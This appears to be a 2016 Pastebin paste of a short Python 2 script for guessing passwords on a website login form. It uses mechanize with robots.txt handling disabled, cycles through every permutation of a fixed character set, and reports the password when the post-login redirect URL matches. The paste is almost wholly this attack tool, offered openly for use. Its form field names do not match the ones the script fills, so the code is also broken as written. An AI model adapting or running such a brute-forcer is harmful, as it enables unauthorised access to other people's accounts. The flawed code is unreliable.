Advertisement
Flatc0de

BruteForce - Script

Apr 3rd, 2016
547
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.46 KB | None | 0 0
  1.  ______ _       _        ___      _      
  2. |  ____| |     | |      / _ \    | |    
  3. | |__  | | __ _| |_ ___| | | | __| | ___
  4. |  __| | |/ _` | __/ __| | | |/ _` |/ _ \
  5. | |    | | (_| | || (__| |_| | (_| |  __/
  6. |_|    |_|\__,_|\__\___|\___/ \__,_|\___|
  7.  
  8. CONTACT : https://twitter.com/flatc0de
  9. -------------------------------------------------------------------------------------------------------------------------
  10.  
  11. #!/usr/bin/python
  12. import mechanize
  13. import itertools
  14.  
  15. br = mechanize.Browser()
  16. br.set_handle_equiv(True)
  17. br.set_handle_redirect(True)
  18. br.set_handle_referer(True)
  19. br.set_handle_robots(False)
  20.  
  21. combos=itertools.permutations("i34U^hP-",8)
  22. r =br.open("https://www.example.com/login/")
  23. for x in combos:   
  24.     new_form = '''
  25.     <form method="post" action="index.php">
  26.     <b>Enter the username :</b><input type="text" name="rollno" size="16" maxlength="8">
  27.     <b>Enter the password:</b><input type="password" name="pwd" size="16">
  28.     <input type="submit" name="submit" value="Submit">
  29.     </form>
  30.     '''
  31.     #all you have to take care is they have the same name for input fields and submit button
  32.     r.set_data(new_form)
  33.     br.set_response(r)
  34.     br.select_form( nr = 0 )
  35.     br.form['userName'] = "user name"
  36.     br.form['password'] = ''.join(x)
  37.     print "Checking ",br.form['password']
  38.     response=br.submit()
  39.     if response.geturl()=="http://www.example.com/redirected_to_url":
  40.         #url to which the page is redirected after login
  41.         print "Correct password is ",''.join(x)
  42.         break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement